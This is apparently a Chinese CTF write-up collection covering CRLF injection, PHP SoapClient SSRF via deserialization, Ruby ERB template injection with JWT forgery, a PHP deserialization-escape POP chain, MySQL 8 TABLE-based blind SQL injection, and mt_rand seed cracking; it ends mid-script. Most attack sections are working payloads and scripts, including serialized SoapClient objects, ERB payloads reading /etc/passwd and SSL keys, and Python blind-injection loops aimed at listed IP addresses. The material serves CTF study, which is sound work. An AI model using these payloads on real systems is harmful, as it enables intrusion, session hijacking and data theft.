CRLF漏洞以及SOAP漏洞利用之CRLF与SSRF

CRLF漏洞以及SOAP漏洞利用之CRLF与SSRF

CRLF漏洞

漏洞原理

CRLF是“回车+换行(\r\n)”的简称,在http协议中,httpheader和httpbody是用两个CRLF分隔的,浏览器是根据这两个CRLF来取出http内容并显示出来的,所以如果我们可以控制http消息头的字符,注入一些恶意的换行,这样可以注入一些会话Cookie或HTML代码,所以CRLF injection也叫HTTPReaponseSplitting,简称HRS

CRLF注入产生的会话固定漏洞

当我们可以控制httpheader中的location字段时,我们可以就可以给访问者设置一个SESSION

实例
1
2
3
4
5
6
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location:http://www.sina.com.cn

然后当我们输入

1
http://www.sina.com.cn%0d%0aSet-cookie:JSPSESSID%3Dwooyun

此时我们就设置了一个SESSION,造成会话固定漏洞

1
2
3
4
5
6
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

CRLF注入造成无视浏览器Filter反射型XSS

实例

当一个网站接受url参数http://ip/?url=xxx,xxx放在location后面作为一个跳转,所以我们可以输入

1
http://test.sina.com.cn/?url=%0d%0a%0d%0a<imgsrc=1onerror=alert(/xss/)>

则我们的返回包为

1
2
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: 
<img src=1 onerror=alert(/xss/)>

之前说的浏览器会根据两个CRLF把HTTP包分成头和体,然后将体显示出来,所以这里这个标签会显示出来,,造成xss

对于无视filter,只有数据包中http头中含有X-XSS-Protection并且为0时,浏览器才不会开启filter,所以我们可以利用一个CRLF将X-XSS-Protection: 0注入到数据包中,再用两个CRLF来注入xss代码,这样就可以绕过filter

而对于Location的注入只有webkit内核浏览器可以使用,其它浏览器可能会跳转

SOAP漏洞利用之CRLF与SSRF

每种开发语言都有自己的webservice实现框架,php也有,php的SOAP扩展是可以提供和使用webservices,这个扩展实现六个类

1
2
3
高级类:SoapClient、SoapServer、SoapFault

低级类:SoapHeader、SoapParam 和 SoapVar

SoapClient语法

1
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

由于SoapClinet类中的一个$options选项功能有这样一句话

1
The user_agent option specifies string to use in User-Agent header

可见这个类可以让我们自定义user-agent,而httpheader有一个重要的content-type和content-length字段,可以控制发送的方式以及内容的长度,而user-agent在它们的上面,所以可以进行覆盖

因此我们可以利用CRLF来构造payload

1
2
$payload = new SoapClient(null,array('user_agent'=>"testrnCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32rnContent-Type: application/x-www-form-urlencodedrnContent-Length:45rnrnusername=admin&password=nu1ladmin&code=470837rnrnrn",'location'=>$location,
'uri'=>$uri));

这个攻击的作用是从外网调用到soap的api来攻击内网,因此可以说是ssrf攻击

而这个攻击一般是利用SoapClient类中的魔术方法__call()触发的,猜测是触发__call()魔术方法发包

实例(bestphp’s revenge)

打开页面,审计源码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

由于call_user_func()函数限制了一些函数,eval()函数在其中,而构造/flag.php,又得到一部分源码

1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

可见我们要本地访问/flag.php才可以读取flag,所以我们可以利用SoapClient类来ssrf,首先我们需要利用反序列化来控制SoapClient类中的变量,所以我们可以利用序列化引擎和反序列化引擎的不同,导致无法正常反序列化,从而伪造数据

所以我们可以利用第一个call_user_func来构造

1
session_start(['serialize_handler'=>'php_serialize'])

来让序列化和反序列化的引擎不同,然后再通过将序列化数据赋值给$_SESSION[“name”],让它将数据存储到文件时再进行序列化,并进行变量覆盖,然后取出文件,放进内存时进行反序列化,而由于我们设置的序列化和反序列化的引擎不同,所以当反序列化时会将”|“前面的值当成是键名,从而可以触发漏洞,exp

1
2
3
4
5
6
7
8
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

所以我们可以先构造

1
2
3
4
5
get提交
?f=session_start&name=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

post提交
serialize_handler=php_serialize

然后我们再构造

1
2
3
4
5
get提交
?f=extract&name=SoapClient

post提交
b=call_user_func

通过extract函数来对$b变量进行覆盖,然后再通过调用SoapClient类中不存在的welcome_to_the_lctf2018函数来触发__call()魔术方法,从而将flag赋值给$_SESSION[“flag”]

最后用刚刚构造的PHPSESSID值来读取flag

1
PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4

参考文章:[https://cloud.tencent.com/developer/article/1515276]

[https://www.anquanke.com/post/id/153065#h2-1]

[https://www.jianshu.com/p/d4c304dbd0af]

[https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0]

ruby ERB模板注入以及jwt伪造

ruby ERB模板注入以及jwt伪造

打开页面后,发现有一个buy flag,但是钱不够,所以我们尝试抓包

发现Cookie字段有一个jwt

1
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJlMWFjYmQ3OC01OTNlLTQ4NzYtOTNhZi00ZWNhYmRkZmYyMDQiLCJqa2wiOjIwfQ.1uVjLWKyyci-TEaw7kxUi9vuGvYDgZ1IF3UuvcIcJtU

打开jwt.io网页,进行解码

HEADER

1
2
3
{
"alg": "HS256"
}

PAYLOAD

1
2
3
4
{
"uid": "e1acbd78-593e-4876-93af-4ecabddff204",
"jkl": 20
}

密钥部分不知道,但是我们可以尝试将PAYLOAD中的jkl改为1000000000000000000000000000,来伪造价格,但是密钥不知道,这里爆破的话有点麻烦,但是我们通过目录的扫描,发现robots.txt文件

1
2
User-agent: *
Disallow: /filebak

所以访问/filebak,得到ruby语言的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

我们可以查看jwt加密和解密那部分代码

加密

1
2
3
4
5
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

看代码可知,jwt密钥部分是用HS256加密的,口令为ENV[“SECRET”],所以我们需要想办法知道ENV[“SECRET”],所以我们可以查看解密的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end

我们可以从

1
<script>alert('#{params[:name][0,7]} working successfully!')</script>

中的alert()函数,判断它可能是Ruby ERB模板注入

Ruby ERB模板注入

对与Ruby ERB模板注入来说,<%=是用来执行ruby语句的,会将结果转换为字符串,所以我们可以尝试

1
<%=7*7%>

来查看它是否存在ruby erb模板注入,如果存在的话,我们可以使用自带的全局函数来测试是否执行函数

1
<%=File.open('/etc/passwd').read %>

如果不可以成功的话,可能是因为Ruby的ERB模板引擎包含一个安全级别参数,当安全级别设置为0以上的某个值(如:3)时,我们将无法在模板绑定中执行包括文件操作在内的某些函数,如果设置为4,则只可以执行标记为可信状态的那些代码,所以此时我们可以尝试枚举该对象的可用属性以及方法

1
<%=self %>

然后可以尝试获取self对象的类名

1
<%=self.class.name %>

得到类名后,我们可以尝试枚举类的可用方法

1
<%= self.methods %>

我们可以将数据传递给这些函数,以达到未授权访问的目的,虽然我们不清楚使用的web框架,但是我们要向服务器发送HTTP POST请求,所以我们可以使用handlePOST或doPOST函数内部,来借此访问某些局部变量

1
<%=self.method(:handle_POST).parameters %>

我们可以看见3个req参数,该参数可能代表的是某个请求对象,rsp参数可能代表的是响应数据的引用,最后session参数可能是某个id或某个对象,所以我们可以查看session对象的具体含义

1
<%=session.class.name %>

我们可以看见WEBrick是Ruby在标准库中实现的原生web服务器,我们还可以探索其它有用的信息

我们可以使用某些内省方法来确认我们是否可以访问这些变量以及其它可用变量

1
<%=self.instance_variables %>

当WEBrick被实例化以处理客户端请求时,它会将某个http服务器实例传递给servlet,这很有可能是@server这个实例变量,所以我们可以调用.instance_variables方法来观察这个对象包含哪些成员变量

1
<%=@server.instance_variables %>

我们可以看见@ssl_context变量,这个变量可能会包含某些密钥或其它有用信息,所以我们可以改变一下语法来创建自己的局部变量,保存@sll_context的引用,使载荷可读性更好

1
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>

此时我们可以看见有@key,所以我们可以提取出这个变量的值

1
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>

回到题目本身,我们可以构造

1
?name=<%=7*7 %>&do=<%=7*7 %>%20is%20working

进行测试,发现不可以执行,猜测是因为安全等级的原因,但是可以查看预定义变量,由于前面有进行匹配的操作,且进行匹配的代码是

1
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

所以我们可以使用$’预定义变量来进行模板注入,从而读取ENV[“SCERET”]的值,而首先进行的匹配是

1
#{params[:SECRET].match(/[0-9a-z]+/)}

所以然后再用匹配后的值再进行匹配,所以SECRET参数的值最好为空,所以可以构造

1
?name=<%=$'%>&do=<%=$'%>%20is%20working&$SECRET=

来读取ENV[“SECRET”]的值,然后用来伪造jwt,即可获得flag

参考文章:[https://www.anquanke.com/post/id/86867]

[https://www.wangan.com/docs/255]

[https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html]

[https://www.jianshu.com/p/4f316191f595]

pop链4之反序列化逃逸

pop链4之反序列化逃逸([GYCTF2020]Easyphp)

打开页面,发现是一个登录界面,所以我们尝试sql注入闭合测试,发现不行,然后dirsearch扫描目录,发现有

1
www.zip

泄露,所以审计源码

在lib.php中的User类中的__destruct()方法有一个危险函数file_get_contents(),但是由于safe函数过滤掉了flag,所以不可以使用,所以我们可以看向update.php文件,发现

1
2
3
4
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

但是如何让$_SESSION[‘login’]=1,我们可以看向lib.php文件中的User类中的

1
2
3
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;

我们可以看见只要存在$this->id就是可以让$_SESSION[‘login’]为1,而$this->id实际为dbCtrl类的login()方法中的$idResult,而如果要让return $idResult,则要么

1
2
3
if ($this->token=='admin') {
return $idResult;
}

要么绕过这个if

1
if (md5($this->password)!==$passwordResult)

而$passwordResult是从数据库中读出来的,所以我们需要控制提交的sql语句,从而绕过if,得到$passwordResult,所以我们要想办法调用dbCtrl类的login()方法,且参数的值为自定义的sql语言,所以我们可以构造pop链

魔术方法

1
2
3
__call:对象调用不可访问的函数时可以触发

__toString():当类的对象被当作字符串操作时会被调用

所以我们可以构造一条pop链

1
UpdateHelper::__destruct() --> User::__toString() --> info::__call()

所以可以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class User
{
public $id;
public $age='select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
public $nickname;

public function __toString()
{
$this->nickname->update($this->age);
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __call($name,$argument){
$this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;

public function __destruct()
{
$this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password='1';//字符串1,不是数字1
public $mysqli;
public $token;

}

$a=new UpdateHelper();
$a->sql=new User();
$a->sql->nickname=new Info();
$a->sql->nickname->CtrlCase=new dbCtrl();

echo serialize($a);
?>

而由于这里是反序列化实例化对象,所以我们也需要将上面得到的结果放入Info类中,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
class User
{
public $id;
public $age='select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
public $nickname;

public function __toString()
{
$this->nickname->update($this->age);
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __call($name,$argument){
$this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;

public function __destruct()
{
$this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password='1';//字符串1,不是数字1
public $mysqli;
public $token;

}

$a=new UpdateHelper();
$a->sql=new User();
$a->sql->nickname=new Info();
$a->sql->nickname->CtrlCase=new dbCtrl();

$b=new Info();
$b->nickname=serialize($a);
echo srialize($b);
?>

得到

1
O:4:"Info":3:{s:3:"age";N;s:8:"nickname";s:447:"O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}";s:8:"CtrlCase";N;}

由于它还要经过序列化,所以我们可以通过反序列化逃逸来绕过它这次的序列化,我们可以将这部分分离出来

1
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}

然后在前面加上

1
;s:8:"CtrlCase";

因为要与原来的一样,然后由于有safe函数,所以可以利用union替换为hacker增加一个字符,所以我们可以构造payload

1
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}};}

此时$_SESSION[‘token’]=”admin”,所以我们回到登录界面,任意登录即可获得flag

参考文章:[https://www.jianshu.com/p/21b5dd45724c]

table语句

table语句

mysql8版本上线了新的特性,就是table语句和VALUES语句

table语句

作用

1
2
3
1. 具体用来在小表的扫描,如:路由表、配置类表、简单映射表等

2. 用来替换是被当做子查询的这类小表的SELECT语句

具体语法

1
table table_name [order by column_name] [LIMIT number [OFFSET number]]

从语法中的order by column_name可以看出,可以排序,也可以过滤记录集

简单全表扫描

传统语法

1
select * from t1;

table语句

1
table t1;

VALUES语句

作用

1
用做功能展示或快速造数据场景,结果列名字以column_0开头,以此类推

单条values语句

语法

1
values row(1,2,3);

结果

1
2
3
4
5
6
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1| 2| 3|
+----------+----------+----------+
1 row inset(0.00 sec)

多条values语句

语法

1
values row(1,2,3),row(10,9,8);

结果

1
2
3
4
5
6
7
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | 2 | 3 |
| 10 | 9 | 8 |
+----------+----------+----------+
2 rows in set (0.00 sec)

多条 VALUES 联合 UNION ALL

语法

1
2
values row(1,2,3),row(10,9,8) union all values \
row(-1,-2,0),row(10,29,30),row(100,20,-9);

结果

1
2
3
4
5
6
7
8
9
10
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | 2 | 3 |
| 10 | 9 | 8 |
| -1 | -2 | 0 |
| 10 | 29 | 30 |
| 100 | 20 | -9 |
+----------+----------+----------+
5 rows in set (0.00 sec)

根据字段下标排序,从1开始的多条values联合union all values

语法

1
2
values row(1,2,3),row(10,9,8) union all values \
row(-1,-2,0),row(10,29,30),row(100,20,-9) order by 1 desc ;

结果

1
2
3
4
5
6
7
8
9
10
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 100 | 20 | -9 |
| 10 | 9 | 8 |
| 10 | 29 | 30 |
| 1 | 2 | 3 |
| -1 | -2 | 0 |
+----------+----------+----------+
5 rows in set (0.00 sec)

实例(鹤城杯ezsql2)

那时我的想法是使用异或注入,但是发现重要的select被过滤掉了,然后发现mysql版本是8以上,所以可以使用table语句来绕过select过滤

爆数据库

1
admn'||(ascii(substr(database(),1,1))=32)#

爆出数据库为ctf

爆数据表,我们知道数据表的信息一般存储在information_schema.tables中,所以我们可以使用table语句来读取

1
admin'/**/and/**/ROW('ctf',{},1,2,3,4)>(TABLE/**/information_schema.tables/**/order/**/by/**/database_name/**/limit/**/1,1)#

由于infoemation_schema.tables被过滤掉了,所以可以使用mysql.innodb_table_stats来读取数据表的信息,其中

1
ROW('ctf',{},1,2,3,4)

意思是每条列的第一行进行比较,从而爆出ctf库中的数据表有哪些,爆出数据表为f11114g

爆数据表中的信息,可以利用mysql8新增的特性table语句来构造盲注

1
admin\'and/**/substr((table/**/f11114g/**/limit/**/1,1),{},1)=\'{}\'#

所以我们可以写exp

爆数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding=utf-8
import requests
import threading
import string
import time
import sys
pt = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+[]?<>@!#$%^&*~'
url=""


sql="user()"


def blindequ(start,end):
ret=""
for i in range(start,end):
for ch in pt:
payload="admn'||(substr({0},{1},1)='{2}')#".format(sql,i,ch)
data = {
"username":payload,
"password":'a'
}
#print data
#req=requests.post(url,data=data,allow_redirects=False)
req=requests.post(url+"/login.php",data=data)
#print req.text
#if req.status_code!=200 and req.status_code!=302:
# continue
if "password error!" in req.text:
ret=ret+ch
sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
sys.stdout.flush()
break
print(threading.current_thread().name+"[+]Result : ->"+ret+"<-")


blindequ(1,20)

爆数据表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests as req
import binascii
flag = ''
url = "http://182.116.62.85:26571/login.php"
def trans(a):
a = binascii.b2a_hex(a.encode('utf-8'))
return '0x'+str(a,'utf-8')

for i in range(1,500):
hexstr = ''
for char in range(32, 126):
hexstr = trans(flag+ chr(char))
#fl11aag
payload = "admin'/**/and/**/ROW('ctf',{},1,2,3,4)>(TABLE/**/mysql.innodb_table_stats/**/order/**/by/**/database_name/**/limit/**/1,1)#".format(hexstr)
#payload = "admin'/**/and/**/({})=>binary(TABLE/**/ctf.fl11aag/**/limit/**/1,1)#".format(hexstr)
datas = {"username":payload,"password":"admin"}
r = req.post(url,data=datas)
if("login success" in r.text):
flag = flag + chr(char-1)
print(flag)
break

最后读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = 'http://139.129.98.9:30003/login.php'
payload = 'admin\'and/**/substr((table/**/f11114g/**/limit/**/1,1),{},1)=\'{}\'#'
passa='123'
result = ''
for j in range(1,500):
for i in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
py = payload.format(j,i)
post_data = {'username': py,'password':passa}
re = requests.post(url, data=post_data)
if 'password' in re.text:
result += i
print(result)
break

参考文章:[https://mp.weixin.qq.com/s?__biz=Mzg5NDY4NTc4NQ==&mid=2247483781&idx=1&sn=1cdb501787ea1c4bdbbe269b055f264c&chksm=c01a86b3f76d0fa579033988aa71990448ff48e27e3def9feac994b81d9b1e3e7f6740188533&mpshare=1&scene=23&srcid=1014L5fi7dWAaVU0EiVOulsW&sharer_sharetime=1634199160117&sharer_shareid=2cd15dd5abca7cee0fa30d6c72437d05#rd]

[https://www.crisprx.top/archives/203]

[https://zhuanlan.zhihu.com/p/116632771]

伪随机数以及文件泄露

伪随机数以及文件泄露

打开页面,发现没有什么提示信息,所以用dirsearch去扫描,发现有文件泄露

1
www.zip

打开源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

从源码中,我们发现一个登录界面

1
header('refresh:2; url=login.html');

我们尝试构造/login.html,然后登录,发现它需要用户名,密码和私钥,而从源码中,

1
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'"

所以我们可以知道用户名为crispr,密码我们可以构造万能钥匙1’or ‘1=1绕过,而对于私钥,我们知道公钥是

1
$Public_key = KVQP0LdJKRaV3n9D

所以我们可以使用爆破的方式获取种子,从而得到私钥

首先我们要获取爆破种子的参数值,exp

1
2
3
4
5
6
7
8
s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
key='KVQP0LdJKRaV3n9D'
m=''
for i in key:
for j in range(len(s)):
if i==s[j]:
m+="{} {} 0 {} ".format(j,j,len(s)-1)
print(m)

得到

1
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

然后我们使用php_mt_seed来对种子进行爆破

1
1775196155

然后我们就可以得到私钥,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
